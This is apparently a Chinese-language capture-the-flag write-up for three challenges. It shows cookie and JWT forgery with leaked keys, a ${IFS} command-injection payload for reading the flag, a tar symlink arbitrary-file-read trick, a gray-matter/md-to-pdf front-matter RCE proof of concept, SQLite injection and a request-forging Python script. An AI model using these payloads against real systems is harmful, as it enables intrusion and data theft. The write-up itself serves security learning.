AKAKAKAKAKAKAKAKAKAKAKAKAKAKAKAKAKAKAK
Layers of Compromise
user/password123
进入后台
将cookie中role的值改为admin就可以得到API令牌并且跳出logs.php

还有一个文档的hint
1 2 3 4 5 6 7 8 9 10 11
| 内部API端点:
- status
- config
- debug (仅限本地访问)
查看 /data/app/www/secrettttts/ 获取开发令牌。
|
接着在secrettttts/token.txt获取到开发令牌
1 2 3 4 5 6 7 8 9 10 11
| 7f8a1a4b3c7d9e6f2b5s8d7f9g6h5j4k3l2m1n -- if (isset($_COOKIE['auth_token'])) { $auth_data = unserialize(base64_decode($_COOKIE['auth_token'])); if ($auth_data['username'] === 'dev' && $auth_data['hash'] === md5('dev' . $CONFIG['auth_key'])) { return true; } } -- 'username'=>'dev' 'auth_key' => 'S3cr3tK3y!2023'
|
根据提示构造出auth_token
1 2 3 4 5 6 7 8 9
| <?php $auth_data = [ 'username' => 'dev', 'hash' => md5('dev' . 'S3cr3tK3y!2023') ]; $serialized = serialize($auth_data); $payload = base64_encode($serialized); echo $payload; ?>
|
带上即可访问logs.php
最后在filter参数发现有命令拼接,把grep语句闭合后即可RCE
payload
1
| action=filter_logs&filter=";grep${IFS}""${IFS}../../fla*/f*;"
|
Filesystem
有Next.js的源码,翻阅得知有/admin/login和/admin/index路由

在主界面有可以上传文件和下载文件的功能
分析admin登录逻辑可以知道,admin登录的时候账号是admin,接着密码是从/opt/filesystem/adminconfig.lock
的json数据中读取的,很容易想到软连接任意文件读取,分析好目录结构即可读取
1 2
| ln -s ../../filesystem/adminconfig.lock 1 tar -cf 1.tar 1
|

登录后就可以使用/admin/路由下的功能了
首先发现admin/index会把我们的slogon和username给显示渲染

并且是严格限制字数的

所以不难猜测注入点在这,注意到这里是直接从JWT去解析我们的数据,也就是username和slogon,所以只要不通过changePassword接口去修改slogon,直接修改jwt就可以绕过长度限制了,定位到jwt生成逻辑的代码,发现key在app.module.ts中
如法炮制读出key

之后就可以伪造jwt来绕过长度限制了,至于最后的注入点是出在gray-master这个库的解析上,是一个比较冷门的库,并且这个命令执行漏洞是在一个issue中被提出的
Security: gray-matter exposes front matter JS-engine that leads to arbitrary code execution · Issue #99 · simonhaenisch/md-to-pdf
POC

1 2 3 4 5 6 7
| const { mdToPdf } = require('md-to-pdf');
var payload = '---js\n((require("child_process")).execSync("calc"))\n---RCE';
(async () => { await mdToPdf({ content: payload }, { dest: './output.pdf' }); })();
|
修改js注入即可RCE,最后是把flag写到根目录的文件中去用软连接读取,因为可下载的目录没有写的权限
ezAPP_And_SERVER
给了个HAP文件
用工具反编译
Releases · ohos-decompiler/abc-decompiler
反编译分析逻辑定位到utils
ai一把锁得到xor的密钥

写脚本得到获得flag的接口和一个通过uuid查找联系人的接口以及其他信息
全局搜索uid发现八个uid

尝试通过接口查询显示未授权
继续分析鉴权逻辑

发现需要jwt验证,用上面密钥jwt加密后即可访问接口

测试发现是双引号闭合的sqlite注入,直接得到admin的uuid(列数为4)

9d5ec98c-5848-4450-9e58-9f97b6b3b7bc
之后再分析getflag接口做了什么

需要传入一个X-sign头来对请求体进行校验
往上找函数调用

这里就是我们需要传的请求头{“action”:”getflag”}需要rsa加密
最后构造脚本即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| import hashlib import requests import jwt from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import padding from cryptography.hazmat.backends import default_backend import base64 from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import padding from cryptography.hazmat.backends import default_backend import base64
public_key_pem = """ -----BEGIN PUBLIC KEY----- MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6HXr1LSOx2q97lSv0p7z hqtgy/JwwWntE73TDKGMSx6Z5lRsDuVjBhuGPI050VkhtIgbAppM4xtsNhwkGfOK s4OSt7PzHVyglkgwX7X04qFZKNOYYDS6Um+gZb5XXwiQ8GcFqfEjbKbLjvegUWur H4sv3OpSIJOiTkhMZqCkfOTUxLF1+mwFDJVt5COQB/frFps/U5+OspjMGAVgORbn 99Uuy9KZsGQwX2e+NvvIAtLNaW1lycP0XTQiXnhm+k1+g8MGS01TpUZtwuBrDUAw K/iNbCGQdKQ77J/dEO3YGYHKED2WKmApDGA0lNWou768D0dCHxOwUUwGIQw/CC1s TwIDAQAB -----END PUBLIC KEY----- """
action = b'{"action":"getflag"}' public_key = serialization.load_pem_public_key( public_key_pem.encode(), backend=default_backend() )
encrypted = public_key.encrypt( action, padding.PKCS1v15() )
encrypted_b64 = base64.b64encode(encrypted).decode()
url = "http:///api/v1/getflag"
data = encrypted_b64 request_body = f'{{"data":"{data}"}}'
x_sign = hashlib.md5(request_body.encode()).hexdigest()
def jwtdo(): data = {"uid": "9d5ec98c-5848-4450-9e58-9f97b6b3b7bc"} return jwt.encode(data,"wCvO3WRz9*vNM%rMaApkerY^^jI6vXmh")
headers = { "Authorization": jwtdo(), "X-Sign": x_sign, "Content-Type": "application/json", }
response = requests.post(url=url,headers=headers,data=request_body,timeout=5)
print(response.text)
|